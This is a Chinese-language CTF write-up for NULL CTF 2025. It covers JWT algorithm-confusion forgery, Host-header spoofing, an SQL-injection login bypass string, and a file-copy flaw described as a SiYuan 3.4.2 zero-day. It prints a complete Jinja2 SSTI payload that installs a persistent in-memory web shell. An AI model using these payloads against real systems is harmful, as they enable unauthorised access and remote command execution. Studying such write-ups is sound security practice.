NULL CTF 2025
Next Jason
漏洞代码:


允许用对称加密 HMAC,还允许我们获取 publicKey,直接一把锁,伪造 admin 的 jwt 拿到 flag。
1 | def forge_token(public_key): |
Codename Neigh

尝试构造请求:
1 | curl.exe -v -H "Host: 127.0.0.1" "http://public.ctf.r0devnull.team:3002/flag?q" |

Codename Neigh 2

1 | import socket |
用 绝对路径配合 HOST 伪造,绕过并拿到flag。
s1mple

任何一个用户 万能密码都能进去 '+or+1=1+--+。
进管理员的看看:

无法渲染,用 zebra 进来也是 admin,。都到这了肯定就是 ssti 没跑了。
扫个目录:

扫到 /page 可以 SSTI:
打入内存马:
1 | {{lipsum.__globals__.__builtins__.eval('[ __import__(\'time\').sleep(3) for flask in [__import__("flask")] for app in __import__("gc").get_objects() if type(app) == flask.Flask for jinja_globals in [app.jinja_env.globals] for zzz in [ lambda : __import__(\'os\').popen(jinja_globals["request"].args.get("cmd", "id")).read() ] if [ app.__dict__.update({\'_got_first_request\':False}), app.add_url_rule("/zzz", endpoint="zzz", view_func=zzz) ] ]')}} |

Archivist’s Whisper
附件给出了 superpassword

进去之后查看版本号并结合题目提示,siyuan 3.4.2 的 0day。

本来想着打渲染但是:

要求必须在工作目录下。

这里可以任意文件复制,只检查文件是否存在而不一定要求在 /workplace 下。
读 /opt/siyuan/startup.sh 
把它复制到 public 目录下(或任意一个静态挂载目录下):


直接就读到了。